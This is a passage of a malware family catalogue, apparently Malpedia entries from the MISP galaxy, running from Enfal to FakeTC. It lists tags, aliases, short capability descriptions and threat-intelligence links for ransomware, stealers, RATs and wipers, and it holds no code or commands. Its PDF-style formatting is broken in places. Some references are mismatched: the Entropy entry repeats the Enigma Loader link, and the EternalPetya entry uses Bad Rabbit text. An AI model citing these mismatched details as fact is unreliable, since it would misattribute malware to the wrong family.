<td><a href="https://go.recordedfuture.com/hubfs/reports/cta-2021-0107.pdf">https://go.recordedfuture.com/hubfs/reports/cta-2021-0107.pdf</a></td>
</tr>
<tr>
<td><a href="https://paper.seebug.org/1301/">https://paper.seebug.org/1301/</a></td>
</tr>
</tbody>
</table>

Enfal

The tag is: `misp-galaxy:malpedia="Enfal"`

Enfal is also known as:

- Lurid
Enigma Loader

According to Trend Micro, this is a downloader, dedicated to stage execution of a second stage malware called Enigma Stealer.

The tag is: `misp-galaxy:malpedia="Enigma Loader"`

Enigma Loader is also known as:

Table 2985. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.enigma_loader">https://malpedia.caad.fkie.fraunhofer.de/details/win.enigma_loader</a></td>
</tr>
</tbody>
</table>

Entropy

Entropy is a ransomware first seen in 1st quarter of 2022, is being used in conjunction of Dridex infection. The ransomware uses a custom packer to pack itself which has been seen in some early dridex samples.

The tag is: `misp-galaxy:malpedia="Entropy"`

Entropy is also known as:

Table 2986. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.enigma_loader">https://malpedia.caad.fkie.fraunhofer.de/details/win.enigma_loader</a></td>
</tr>
</tbody>
</table>
EntryShell

The tag is: misp-galaxy:malpedia="EntryShell"

EntryShell is also known as:

Table 2987. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.entryshell


Enviserv

The tag is: misp-galaxy:malpedia="Enviserv"

Enviserv is also known as:

Table 2988. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.enviserv


EnvyScout

The tag is: misp-galaxy:malpedia="EnvyScout"

EnvyScout is also known as:

- ROOTSAW

Table 2989. Table References
Epsilon Red

According to PCrisk, Epsilon is a ransomware-type program. This malware is designed to encrypt the data of infected systems in order to demand payment for decryption.

The tag is: *misp-galaxy:malpedia*="Epsilon Red"

Epsilon Red is also known as:

- BlackCocaine

Table 2990. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.epsilon_red">https://malpedia.caad.fkie.fraunhofer.de/details/win.epsilon_red</a></td>
</tr>
<tr>
<td><a href="https://cybleinc.com/2021/06/03/nucleus-software-becomes-victim-of-the-blackcocaine-ransomware/">https://cybleinc.com/2021/06/03/nucleus-software-becomes-victim-of-the-blackcocaine-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://news.sophos.com/en-us/2021/05/28/epsilonred/">https://news.sophos.com/en-us/2021/05/28/epsilonred/</a></td>
</tr>
</tbody>
</table>

EquationDrug

The tag is: *misp-galaxy:malpedia*="EquationDrug"
EquationDrug is also known as:

Table 2991. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.equationdrug">https://malpedia.caad.fkie.fraunhofer.de/details/win.equationdrug</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/inside-the-equationdrug-espionage-platform/69203/">https://securelist.com/inside-the-equationdrug-espionage-platform/69203/</a></td>
</tr>
<tr>
<td><a href="http://artemonsecurity.blogspot.com/2017/03/equationdrug-rootkit-analysis-mstcp32sys.html">http://artemonsecurity.blogspot.com/2017/03/equationdrug-rootkit-analysis-mstcp32sys.html</a></td>
</tr>
<tr>
<td><a href="https://mp.weixin.qq.com/s/3ZQhn32NB6p-LwndB2o2zQ">https://mp.weixin.qq.com/s/3ZQhn32NB6p-LwndB2o2zQ</a></td>
</tr>
</tbody>
</table>

**Equationgroup (Sorting)**

Rough collection EQGRP samples, to be sorted

The tag is: misp-galaxy:malpedia="Equationgroup (Sorting)"

Equationgroup (Sorting) is also known as:

Table 2992. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.equationgroup">https://malpedia.caad.fkie.fraunhofer.de/details/win.equationgroup</a></td>
</tr>
<tr>
<td><a href="https://laanwj.github.io/2016/09/01/tadaqueos.html">https://laanwj.github.io/2016/09/01/tadaqueos.html</a></td>
</tr>
<tr>
<td><a href="https://laanwj.github.io/2016/08/22/blatsting.html">https://laanwj.github.io/2016/08/22/blatsting.html</a></td>
</tr>
<tr>
<td><a href="https://laanwj.github.io/2016/08/28/feintcloud.html">https://laanwj.github.io/2016/08/28/feintcloud.html</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/2021/a-deep-dive-into-doublefeature-equation-groups-post-exploitation-dashboard/">https://research.checkpoint.com/2021/a-deep-dive-into-doublefeature-equation-groups-post-exploitation-dashboard/</a></td>
</tr>
</tbody>
</table>

**Erbium Stealer**

Erbium is an information stealer advertised and sold as a Malware-as-a-Service on cybercrime forums and Telegram since at least July 2022. Its capabilities are those of a classic information stealer, with a focus on cryptocurrency wallets, and file grabber capabilities.

The tag is: misp-galaxy:malpedia="Erbium Stealer"
Erbium Stealer is also known as:

Table 2993. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.erbium_stealer">https://malpedia.caad.fkie.fraunhofer.de/details/win.erbium_stealer</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/abuse_ch/status/1565290110572175361">https://twitter.com/abuse_ch/status/1565290110572175361</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/sekoia_io/status/157722282929311744">https://twitter.com/sekoia_io/status/157722282929311744</a></td>
</tr>
</tbody>
</table>

Erebus (Windows)

The tag is: *misp-galaxy:malpedia="Erebus (Windows)"

Erebus (Windows) is also known as:

Table 2994. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.erebus">https://malpedia.caad.fkie.fraunhofer.de/details/win.erebus</a></td>
</tr>
</tbody>
</table>

Eredel

Eredel Stealer is a low price malware that allows for extracting passwords, cookies, screen desktop from browsers and programs.

According to nulled[.]to:

- Stealing FileZilla
- Stealing an account from Telegram
- Stealing AutoFill
- Theft of wallets: Bitcoin | Dash | Monero | Electrum | Ethereum | Litecoin
- Stealing files from the desktop. Supports any formats, configurable via telegram-bot

The tag is: *misp-galaxy:malpedia="Eredel"

Eredel is also known as:
Table 2995. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.eredel">https://malpedia.caad.fkie.fraunhofer.de/details/win.eredel</a></td>
</tr>
</tbody>
</table>

Erica Ransomware

The tag is: misp-galaxy:malpedia="Erica Ransomware"

Erica Ransomware is also known as:

Table 2996. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.ericaransomware">https://malpedia.caad.fkie.fraunhofer.de/details/win.ericaransomware</a></td>
</tr>
</tbody>
</table>

Eris

Ransomware.

The tag is: misp-galaxy:malpedia="Eris"

Eris is also known as:

Table 2997. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.esis">https://malpedia.caad.fkie.fraunhofer.de/details/win.esis</a></td>
</tr>
<tr>
<td><a href="https://lekstu.ga/posts/go-under-the-hood-eris/">https://lekstu.ga/posts/go-under-the-hood-eris/</a></td>
</tr>
</tbody>
</table>

ESPecter

The tag is: misp-galaxy:malpedia="ESPecter"

ESPecter is also known as:

Table 2998. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.especter">https://malpedia.caad.fkie.fraunhofer.de/details/win.especter</a></td>
</tr>
</tbody>
</table>
EternalRocks

The tag is: misp-galaxy:malpedia="EternalRocks"

EternalRocks is also known as:

- MicroBotMassiveNet

Table 2999. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.eternalrocks">https://malpedia.caad.fkie.fraunhofer.de/details/win.eternalrocks</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/">https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/</a></td>
</tr>
<tr>
<td><a href="https://github.com/stamparm/EternalRocks">https://github.com/stamparm/EternalRocks</a></td>
</tr>
</tbody>
</table>

EternalPetya

According to Proofpoint, Bad Rabbit is a strain of ransomware that first appeared in 2017 and is a suspected variant of Petya. Like other strains of ransomware, Bad Rabbit virus infections lock up victims' computers, servers, or files preventing them from regaining access until a ransom—usually in Bitcoin—is paid.

The tag is: misp-galaxy:malpedia="EternalPetya"

EternalPetya is also known as:

- BadRabbit
- Diskcoder.C
- ExPetr
- NonPetya
- NotPetya
- Nyetya
- Petna
- Pnyetya
- nPetya

Table 3000. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.eternal_petya">https://malpedia.caad.fkie.fraunhofer.de/details/win.eternal_petya</a></td>
</tr>
<tr>
<td>Source</td>
</tr>
<tr>
<td>------------------------------------------------------------------------------------------</td>
</tr>
<tr>
<td><a href="https://pylos.co/2020/11/04/the-enigmatic-energetic-bear/">https://pylos.co/2020/11/04/the-enigmatic-energetic-bear/</a></td>
</tr>
<tr>
<td><a href="https://medium.com/@llandu/petya-not-petya-ransomware-9619cbbb0786">https://medium.com/@llandu/petya-not-petya-ransomware-9619cbbb0786</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/petrwrap-technical-analysis-part-2-further-findings-and-potential-for-mbr-recovery/">https://www.crowdstrike.com/blog/petrwrap-technical-analysis-part-2-further-findings-and-potential-for-mbr-recovery/</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/schroedingers-petya/78870/">https://securelist.com/schroedingers-petya/78870/</a></td>
</tr>
<tr>
<td><a href="https://www.wired.com/story/hacker-lexicon-what-is-a-supply-chain-attack/">https://www.wired.com/story/hacker-lexicon-what-is-a-supply-chain-attack/</a></td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/forums/diary/Checking+out+the+new+Petya+variant/22562/">https://isc.sans.edu/forums/diary/Checking+out+the+new+Petya+variant/22562/</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0034">https://attack.mitre.org/groups/G0034</a></td>
</tr>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/">https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/</a></td>
</tr>
<tr>
<td><a href="https://blog.comae.io/petya-2017-is-a-wiper-not-a-ransomware-9ea1d8961d3b">https://blog.comae.io/petya-2017-is-a-wiper-not-a-ransomware-9ea1d8961d3b</a></td>
</tr>
<tr>
<td><a href="http://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html">http://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html</a></td>
</tr>
<tr>
<td><a href="https://istari-global.com/spotlight/the-untold-story-of-notpetya/">https://istari-global.com/spotlight/the-untold-story-of-notpetya/</a></td>
</tr>
<tr>
<td><a href="http://blog.erratasec.com/2017/06/nonpetya-no-evidence-it-was-smokescreen.html">http://blog.erratasec.com/2017/06/nonpetya-no-evidence-it-was-smokescreen.html</a></td>
</tr>
<tr>
<td><a href="https://www.cyberscoop.com/russian-hackers-notpetya-charges-gru/">https://www.cyberscoop.com/russian-hackers-notpetya-charges-gru/</a></td>
</tr>
<tr>
<td><a href="https://medium.com/@thegrugq/pnyetya-yet-another-ransomware-outbreak-59afdd1ee89d4">https://medium.com/@thegrugq/pnyetya-yet-another-ransomware-outbreak-59afdd1ee89d4</a></td>
</tr>
</tbody>
</table>
Eternity Clipper

This malware is part of the Eternity Malware "Framework".

The tag is: misp-galaxy:malpedia="Eternity Clipper"

Eternity Clipper is also known as:

Table 3001. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.eternity_clipper">https://malpedia.caad.fkie.fraunhofer.de/details/win.eternity_clipper</a></td>
</tr>
<tr>
<td><a href="https://blog.cyble.com/2022/05/12/a-closer-look-at-eternity-malware/">https://blog.cyble.com/2022/05/12/a-closer-look-at-eternity-malware/</a></td>
</tr>
</tbody>
</table>

Eternity Ransomware

Eternity Framework Ransomware Payload
Eternity Ransomware is also known as:

**Table 3002. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.eternity_ransomware">https://malpedia.caad.fkie.fraunhofer.de/details/win.eternity_ransomware</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://yoroi.company/research/a-deep-dive-into-eternity-group-a-new-emerging-cyber-threat/">https://yoroi.company/research/a-deep-dive-into-eternity-group-a-new-emerging-cyber-threat/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://blog.cyble.com/2022/05/12/a-closer-look-at-eternity-malware/">https://blog.cyble.com/2022/05/12/a-closer-look-at-eternity-malware/</a></td>
<td></td>
</tr>
</tbody>
</table>

**Eternity Stealer**

This Stealer is part of the eternity malware project.

The tag is: *misp-galaxy:malpedia="Eternity Stealer"*

Eternity Stealer is also known as:

**Table 3003. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.eternity_stealer">https://malpedia.caad.fkie.fraunhofer.de/details/win.eternity_stealer</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://twitter.com/3xp0rtblog/status/1509601846494695438">https://twitter.com/3xp0rtblog/status/1509601846494695438</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://blog.cyble.com/2022/05/12/a-closer-look-at-eternity-malware/">https://blog.cyble.com/2022/05/12/a-closer-look-at-eternity-malware/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://ke-la.com/information-stealers-a-new-landscape/">https://ke-la.com/information-stealers-a-new-landscape/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://blogs.blackberry.com/en/2022/06/threat-spotlight-eternity-project-maas-goes-on-and-on">https://blogs.blackberry.com/en/2022/06/threat-spotlight-eternity-project-maas-goes-on-and-on</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://yoroi.company/research/a-deep-dive-into-eternity-group-a-new-emerging-cyber-threat/">https://yoroi.company/research/a-deep-dive-into-eternity-group-a-new-emerging-cyber-threat/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://blog.sekoia.io/eternityteam-a-new-prominent-threat-group-on-underground-forums/">https://blog.sekoia.io/eternityteam-a-new-prominent-threat-group-on-underground-forums/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://blog.morphisec.com/nft-malware-new-evasion-abilities">https://blog.morphisec.com/nft-malware-new-evasion-abilities</a></td>
<td></td>
</tr>
</tbody>
</table>

**Eternity Worm**

This malware is part of the Eternity Malware "Framework".

The tag is: *misp-galaxy:malpedia="Eternity Worm"*

Eternity Worm is also known as:
EtumBot

The tag is: `misp-galaxy:malpedia="EtumBot"`

EtumBot is also known as:

- HighTide

Evilbunny

The tag is: `misp-galaxy:malpedia="Evilbunny"`

Evilbunny is also known as:
**EvilExtractor**

The tag is: *misp-galaxy:malpedia=*"EvilExtractor"

EvilExtractor is also known as:

*Table 3007. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.evilextractor">https://malpedia.caad.fkie.fraunhofer.de/details/win.evilextractor</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/evil-extractor-all-in-one-stealer">https://www.fortinet.com/blog/threat-research/evil-extractor-all-in-one-stealer</a></td>
</tr>
</tbody>
</table>

**EvilGrab**

The tag is: *misp-galaxy:malpedia=*"EvilGrab"

EvilGrab is also known as:

- Vidgrab

*Table 3008. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.evilgrab">https://malpedia.caad.fkie.fraunhofer.de/details/win.evilgrab</a></td>
</tr>
<tr>
<td><a href="https://app.box.com/s/z1uanuv1vn3vw5iket1r6bqrmlra0gpn">https://app.box.com/s/z1uanuv1vn3vw5iket1r6bqrmlra0gpn</a></td>
</tr>
</tbody>
</table>

**EVILNUM (Windows)**

The tag is: *misp-galaxy:malpedia=*"EVILNUM (Windows)"

EVILNUM (Windows) is also known as:

*Table 3009. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.evilnum">https://malpedia.caad.fkie.fraunhofer.de/details/win.evilnum</a></td>
</tr>
<tr>
<td><a href="https://docs.broadcom.com/doc/ransom-and-malware-attacks-on-financial-services-institutions">https://docs.broadcom.com/doc/ransom-and-malware-attacks-on-financial-services-institutions</a></td>
</tr>
<tr>
<td><a href="https://mp.weixin.qq.com/s/lryl3a65ulz1AwZcfuzp1A">https://mp.weixin.qq.com/s/lryl3a65ulz1AwZcfuzp1A</a></td>
</tr>
</tbody>
</table>
EvilPlayout

A wiper used against in an attack against Iran’s state broadcaster. Using campaign name coined by Check Point in lack of a better name for the wiper component.

The tag is: `misp-galaxy:malpedia="EvilPlayout"`

EvilPlayout is also known as:

Table 3010. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.evilplayout">https://malpedia.caad.fkie.fraunhofer.de/details/win.evilplayout</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/2022/evilplayout-attack-against-irans-state-broadcaster/">https://research.checkpoint.com/2022/evilplayout-attack-against-irans-state-broadcaster/</a></td>
</tr>
</tbody>
</table>

EvilPony

Privately modded version of the Pony stealer.

The tag is: `misp-galaxy:malpedia="EvilPony"`

EvilPony is also known as:

- CREstealer

Table 3011. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.evilpony">https://malpedia.caad.fkie.fraunhofer.de/details/win.evilpony</a></td>
</tr>
<tr>
<td><a href="https://threatpost.com/docusign-phishing-campaign-includes-hancitor-downloader/125724/">https://threatpost.com/docusign-phishing-campaign-includes-hancitor-downloader/125724/</a></td>
</tr>
</tbody>
</table>

Evrial

The tag is: `misp-galaxy:malpedia="Evrial"`

Evrial is also known as:

Table 3012. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.evrial">https://malpedia.caad.fkie.fraunhofer.de/details/win.evrial</a></td>
</tr>
</tbody>
</table>
**Exaramel (Windows)**

The tag is: *misp-galaxy:malpedia="Exaramel (Windows)"*

Exaramel (Windows) is also known as:

**Table 3013. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.exaramel">https://malpedia.caad.fkie.fraunhofer.de/details/win.exaramel</a></td>
</tr>
<tr>
<td><a href="https://www.wired.com/story/sandworm-centreon-russia-hack/">https://www.wired.com/story/sandworm-centreon-russia-hack/</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0034">https://attack.mitre.org/groups/G0034</a></td>
</tr>
</tbody>
</table>

**ExByte**

ExByte is a custom data exfiltration tool and infostealer observed being used during BlackByte ransomware attacks.

The tag is: *misp-galaxy:malpedia="ExByte"*

ExByte is also known as:

**Table 3014. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.exbyte">https://malpedia.caad.fkie.fraunhofer.de/details/win.exbyte</a></td>
</tr>
</tbody>
</table>

**Excalibur**

The tag is: *misp-galaxy:malpedia="Excalibur"*

Excalibur is also known as:
• Saber
• Sabresac

Table 3015. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.excalibur">https://malpedia.caad.fkie.fraunhofer.de/details/win.excalibur</a></td>
</tr>
<tr>
<td><a href="https://blog.cylance.com/digitally-signed-malware-targeting-gaming-companies">https://blog.cylance.com/digitally-signed-malware-targeting-gaming-companies</a></td>
</tr>
</tbody>
</table>

**MS Exchange Tool**

The tag is: *misp-galaxy:malpedia="MS Exchange Tool"*

MS Exchange Tool is also known as:

Table 3016. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.exchange_tool">https://malpedia.caad.fkie.fraunhofer.de/details/win.exchange_tool</a></td>
</tr>
<tr>
<td><a href="https://github.com/nccgroup/Royal_APT">https://github.com/nccgroup/Royal_APT</a></td>
</tr>
</tbody>
</table>

**Exile RAT**

ExileRAT is a simple RAT platform capable of getting information on the system (computer name, username, listing drives, network adapter, process name), getting/pushing files and executing/terminating processes.

The tag is: *misp-galaxy:malpedia="Exile RAT"*

Exile RAT is also known as:

Table 3017. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.exilerat">https://malpedia.caad.fkie.fraunhofer.de/details/win.exilerat</a></td>
</tr>
</tbody>
</table>

**ExMatter**

Exfiltration tool written in .NET, used by at least one BlackMatter ransomware operator.

The tag is: *misp-galaxy:malpedia="ExMatter"*
ExMatter is also known as:

Table 3018. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.exmatter">https://malpedia.caad.fkie.fraunhofer.de/details/win.exmatter</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/knight0x07/status/1461787168037240834?s=20">https://twitter.com/knight0x07/status/1461787168037240834?s=20</a></td>
</tr>
</tbody>
</table>

Exorcist

According to PCrisk, Exorcist is a ransomware-type malicious program. Systems infected with this malware experience data encryption and users receive ransom demands for decryption. During the encryption process, all compromised files are appended with an extension consisting of a ransom string of characters.

For example, a file originally named "1.jpg" could appear as something similar to "1.jpg.rnyZoV" following encryption. After this process is complete, Exorcist ransomware changes the desktop wallpaper and drops HTML applications - "[random-string]-decrypt.hta" (e.g. "rnyZoV-decrypt.hta") - into affected folders. These files contain identical ransom messages.

The tag is: misp-galaxy:malpedia="Exorcist"

Exorcist is also known as:

Table 3019. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.exorcist">https://malpedia.caad.fkie.fraunhofer.de/details/win.exorcist</a></td>
</tr>
<tr>
<td><a href="https://medium.com/@velasco.l.n/exorcist-ransomware-from-triaging-to-deep-dive-5b7da4263d81">https://medium.com/@velasco.l.n/exorcist-ransomware-from-triaging-to-deep-dive-5b7da4263d81</a></td>
</tr>
</tbody>
</table>

Expiro

Expiro malware has been around for more than a decade, and the malware authors still continue their work and update it with more features. Also the infection routine was changed in samples found in 2017 (described by McAfee). Expiro "infiltrates" executables on 32- and 64bit Windows OS versions. It has capabilities to install browser extensions, change security behaviour/settings on the infected system, and steal information (e.g. account credentials). There is a newly described EPO file infector source code called m0yv in 2022, which is wrongly identified as expiro by some AVs.
The tag is: `misp-galaxy:malpedia="Expiro"`

Expiro is also known as:

- Xpiro

<table>
<thead>
<tr>
<th>Table 3020. Table References</th>
</tr>
</thead>
</table>

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.expiro">https://malpedia.caad.fkie.fraunhofer.de/details/win.expiro</a></td>
</tr>
<tr>
<td><a href="https://youtu.be/3RYbkORtFnk">https://youtu.be/3RYbkORtFnk</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2013/07/30/versatile-and-infectious-win64expiro-is-a-cross-platform-file-infector/">https://www.welivesecurity.com/2013/07/30/versatile-and-infectious-win64expiro-is-a-cross-platform-file-infector/</a></td>
</tr>
</tbody>
</table>

---

**ExplosiveRAT**

The tag is: `misp-galaxy:malpedia="ExplosiveRAT"`

ExplosiveRAT is also known as:

<table>
<thead>
<tr>
<th>Table 3021. Table References</th>
</tr>
</thead>
</table>

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.explosive_rat">https://malpedia.caad.fkie.fraunhofer.de/details/win.explosive_rat</a></td>
</tr>
</tbody>
</table>

---

**Xtreme RAT**

According to Trend Mi cro, Extreme RAT (XTRAT, Xtreme Rat) is a Remote Access Trojan that can steal information. This RAT has been used in attacks targeting Israeli and Syrian governments last 2012.

This malware family of backdoors has the capability to receive commands such as File Management (Download, Upload, and Execute Files), Registry Management (Add, Delete, Query, and Modify Registry), Perform Shell Command, Computer Control (Shutdown, Log on/off), and Screen capture from a remote attacker. In addition, it can also log keystrokes of the infected systems.

The tag is: `misp-galaxy:malpedia="Xtreme RAT"`
Xtreme RAT is also known as:

- ExtRat

### Table 3022. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.extreme_rat">https://malpedia.caad.fkie.fraunhofer.de/details/win.extreme_rat</a></td>
</tr>
<tr>
<td><a href="https://blogs.360.cn/post/APT-C-44.html">https://blogs.360.cn/post/APT-C-44.html</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2014/02/xtremerat-nuisance-or-threat.html">https://www.fireeye.com/blog/threat-research/2014/02/xtremerat-nuisance-or-threat.html</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/aluminum-saratoga">https://www.secureworks.com/research/threat-profiles/aluminum-saratoga</a></td>
</tr>
<tr>
<td><a href="https://citizenlab.ca/2015/12/packrat-report/">https://citizenlab.ca/2015/12/packrat-report/</a></td>
</tr>
<tr>
<td><a href="https://mp.weixin.qq.com/s/gWOIRNPLVqX761LW8x-S5g">https://mp.weixin.qq.com/s/gWOIRNPLVqX761LW8x-S5g</a></td>
</tr>
<tr>
<td><a href="https://malware.lu/articles/2012/07/22/xtreme-rat-analysis.html">https://malware.lu/articles/2012/07/22/xtreme-rat-analysis.html</a></td>
</tr>
<tr>
<td><a href="https://community.rsa.com/community/products/netwitness/blog/2017/08/02/malspam-delivers-xtreme-rat-8-1-2017">https://community.rsa.com/community/products/netwitness/blog/2017/08/02/malspam-delivers-xtreme-rat-8-1-2017</a></td>
</tr>
<tr>
<td><a href="https://www2.slideshare.net/ChiEnAshleyShen/hitcon-2020-cti-village-threat-hunting-and-campaign-tracking-workshoppptx/1">https://www2.slideshare.net/ChiEnAshleyShen/hitcon-2020-cti-village-threat-hunting-and-campaign-tracking-workshoppptx/1</a></td>
</tr>
</tbody>
</table>

### Eye Pyramid

The tag is: `misp-galaxy:malpedia="Eye Pyramid"`

Eye Pyramid is also known as:

### Table 3023. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.eye_pyramid">https://malpedia.caad.fkie.fraunhofer.de/details/win.eye_pyramid</a></td>
</tr>
<tr>
<td><a href="http://blog.talosintel.com/2017/01/Eye-Pyramid.html">http://blog.talosintel.com/2017/01/Eye-Pyramid.html</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/blog/incidents/77098/the-eyepyramid-attacks/">https://securelist.com/blog/incidents/77098/the-eyepyramid-attacks/</a></td>
</tr>
</tbody>
</table>

### EYService

EYService is the main part of the backdoor used by Nazar APT. This a passive backdoor that relies on, now discontinued, Packet Sniffer SDK (PSSDK) from Microolap.

The tag is: `misp-galaxy:malpedia="EYService"`

EYService is also known as:

### Table 3024. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Fabookie

Fabookie is facebook account info stealer.

The tag is: malpedia="Fabookie"

Fabookie is also known as:

Table 3025. Table References

FakeCry

Malware written in .NET that mimics WannaCry.

The tag is: malpedia="FakeCry"

FakeCry is also known as:

Table 3026. Table References

FakeRean

The tag is: malpedia="FakeRean"
FakeRean is also known as:

- Braviax

**Table 3027. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.fakerean">https://malpedia.caad.fkie.fraunhofer.de/details/win.fakerean</a></td>
</tr>
<tr>
<td><a href="https://0x3asecurity.wordpress.com/2015/11/30/134260124544/">https://0x3asecurity.wordpress.com/2015/11/30/134260124544/</a></td>
</tr>
</tbody>
</table>

FakeTC

The tag is: *misp-galaxy:malpedia="FakeTC"*

FakeTC is also known as:

**Table 3028. Table References**

<table>
<thead>
